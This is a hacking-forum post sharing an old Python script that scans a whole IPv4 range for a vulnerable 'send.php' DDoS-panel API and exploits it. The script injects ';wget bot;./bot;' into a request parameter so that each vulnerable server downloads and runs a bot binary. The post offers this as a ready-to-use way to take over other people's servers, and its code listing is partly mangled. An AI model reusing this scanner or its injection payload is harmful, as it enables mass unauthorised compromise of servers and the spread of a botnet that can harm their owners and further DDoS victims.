Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

RCE Scanner - Root DDoS Servers

Not sure if there is any more servers online using this vulnerable API, but scan if you want.
If anything this servers as an example concept.
This is an old script and should be modified for twisted threads and to run through a list of IP addresses with port 80 open, but still works as is.
PHP Code

<?php 
import pycurl
import StringIO
import sys
import time
from multiprocessing import Process
start 
= int(time.time()) - 1
sent_n 
= 99
sent_t 
= 0
def f
(ip):
    
c = pycurl.Curl()
    
b = StringIO.StringIO()
    
c.setopt(pycurl.WRITEFUNCTION, b.write)
    
c.setopt(pycurl.TIMEOUT, 1)
    
c.setopt(pycurl.CONNECTTIMEOUT, 1)
    
xml_ip = "http://" + ip + "/send.php?host=198.50.233.33&port=80;wget bot;./bot;&time=10&method=SSDP"
    
print xml_ip
    c
.setopt(c.URL, xml_ip)
    try:
      
c.perform()
    
except Exception:
      
gg = 88
      
#print "Nope - ",ip
    
else:
      print 
"imgay\n"
nn = 23
for oo in range(94,95):
    for 
pp in range(1,256):
      for 
kk in range(1,256):
      if 
sent_t > sent_n:
      
#print sent_t," requests sent at average of", sent_t/(int(time.time()) - start), "per second!"
      
sent_n += 100
      pre_ip 
= "%d.%d.%d.%d" % (nn,oo,pp,kk)
      
p = Process(target=f, args=(pre_ip,))
      
p.start()
      
sent_t = sent_t + 1

p
.join() 
Edited an XMLRPC scanner I had for this. So, don't mind the xmlrpc stuff. haha


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by basisJun 1, 2018 05:59 AM 9 789 Jun 1, 2018 05:59 AM
Last Post: Dalvik
[C] by Rukki RitoMay 29, 2015 08:33 AM 1 509 May 29, 2015 08:33 AM
Last Post: Mouse❤️
[.NET] by Gr3eNoXAug 14, 2014 07:36 AM 37 4,612 Aug 14, 2014 07:36 AM
Last Post: Cisteriaso